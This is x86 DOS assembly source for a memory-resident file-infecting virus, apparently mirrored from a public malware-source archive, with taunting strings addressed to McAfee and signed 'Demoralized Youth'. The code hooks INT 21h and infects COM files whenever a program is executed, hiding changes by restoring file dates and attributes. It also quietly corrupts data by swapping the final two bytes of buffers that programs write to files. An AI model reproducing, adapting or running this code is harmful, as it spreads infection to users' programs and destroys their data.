mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
325 lines
6.1 KiB
NASM
325 lines
6.1 KiB
NASM
_attr_ equ 0
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_date_ equ 2
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_time_ equ 4
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fil equ 6
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mov ax,4245h ;sepuku!
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int 21h
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jmp short jump1
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db 'DY'
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dy equ $-2-100h
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_size dw offset total-100h
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_ofs dw offset total
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db 'McAfee, geht nach Hause! Wir sind un<75>berwindlich!'
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jump1:
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mov ax,3521h
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int 21h
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mov old21[0],bx
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mov old21[2],es
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mov ax,cs
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dec ax
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mov ds,ax
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lodsb
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cmp byte [0],'Z'
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jne bee_bloop_blap
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cmp word ptr [0003h],pgf
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jc bee_bloop_blap
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sub word ptr [0003h],pgf
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sub word ptr [0012h],pgf
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mov es,[0012h]
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mov si,110h
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mov di,si
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sub di,10h
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mov cx,total-100h
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rep movsb
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push es
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pop ds
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cli
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mov ax,2521h
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mov dx,offset swansich
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int 21h
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sti
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jmp 100h
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bee_bloop_blap:
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int 24h
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int 20h
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st21 db 0
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vier:
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mov al,0
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iret
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swansich:
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pushf
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cmp ax,4245h
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jne not_sepuku
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cmp word [dy+100h],'YD'
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jne not_sepuku
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popf
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push bp
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mov bp,sp
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mov ds,[bp+4]
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pop bp
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mov si,word _ofs
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mov cx,word _size
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mov di,100h
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push ds
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pop es
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cld
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bam: rep movsb
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pop ax
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mov ax,100h
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push ax
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call zero_regs
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iret
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olr dw 0,0
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not_sepuku:
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cmp ah,40h
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jne exec
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cmp bx,5
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jb exec
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cmp cx,16
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jl exec
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call push_all
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mov di,dx
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add di,cx
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dec di
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mov al,[di]
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mov bl,[di-1]
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mov [di-1],al
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mov [di],bl
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call pop_all
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exec:
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cmp ax,4B00h ;exec
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jne back
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cmp cs:st21,0
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jne back
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mov cs:st21,1
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call push_all
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xchg si,dx
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mov di,fil
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push cs
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pop es
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mov cx,128
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cld
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rep movsb
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call pop_all
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popf
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call o21
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pushf
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call push_all
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mov ax,3524h
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call o21
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push bx
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push es
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mov ah,25h
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push ds
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push cs
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pop ds
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push dx
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mov dx,offset vier
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call o21
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pop dx
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pop ds
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push cs
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pop ds
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mov dx,fil
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mov ax,4300h
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call o21
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mov cs:[_attr_],cx
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mov ax,4301h
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xor cx,cx
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call o21
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jc err1
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call infect
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mov ax,4301h
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mov cx,cs:[_attr_]
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call o21
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err1: pop ds
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pop dx
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mov ax,2524h
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call o21
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mov cs:st21,0
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call pop_all
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popf
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retf 2
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back: mov cs:st21,0
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popf
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jfa: db 0EAh
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old21 dw 0,0
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o21: pushf
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call dword ptr cs:[old21]
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ret
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zero_regs:
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xor ax,ax
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xor bx,bx
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xor cx,cx
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xor dx,dx
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xor si,si
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xor di,di
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ret
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jmp_to dw 0
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push_all:
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pop cs:[jmp_to]
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push bp
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push ds
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push es
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push di
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push si
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push dx
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push cx
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push bx
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push ax
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jmp cs:[jmp_to]
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pop_all:
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pop cs:[jmp_to]
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pop ax
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pop bx
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pop cx
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pop dx
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pop si
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pop di
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pop es
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pop ds
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pop bp
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jmp cs:[jmp_to]
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;|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
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; infection routine
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;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
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infect:
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pushf
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call push_all
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mov ax,3D02h
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call o21
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jnc open
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i_back:
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call pop_all
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popf
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ret
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open:
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xchg bx,ax
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push cs
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pop ds
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push cs
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pop es
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mov ax,5700h
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call o21
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mov [_date_],dx
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mov [_time_],cx
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mov ah,3Fh
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mov cx,offset total-100h
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mov dx,offset total
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call o21
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jnc read1
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jcls1: jmp close
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read1: cmp ax,cx
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jne jcls1
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cmp word ptr [offset total],'ZM'
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je jcls1
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cmp byte ptr [offset total],'Z'
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je jcls1
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cmp word ptr [offset total+dy],'YD'
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je jcls1
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mov ax,4202h
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xor cx,cx
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xor dx,dx
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call o21
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jc jcls1
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cmp dx,0
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jne jcls1
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cmp ah,0F1h
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ja jcls1
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add ax,100h
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mov _ofs,ax
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mov ah,40h
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mov dx,offset total
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mov cx,offset total-100h
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call o21
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jc jcls1
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cmp ax,cx
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jne jcls1
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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call o21
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mov ah,40h
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mov cx,offset total-100h
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mov dx,100h
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call o21
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and byte [_time_],255-31
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or byte [_time_],29
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close:
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mov ax,5701h
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mov cx,[_time_]
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mov dx,[_date_]
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call o21
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mov ah,3Eh
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call o21
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jcls2: jmp i_back
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db 'Demoralized Youth vous a eu'
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total:
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pgf equ $/16*2
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db 'Í '
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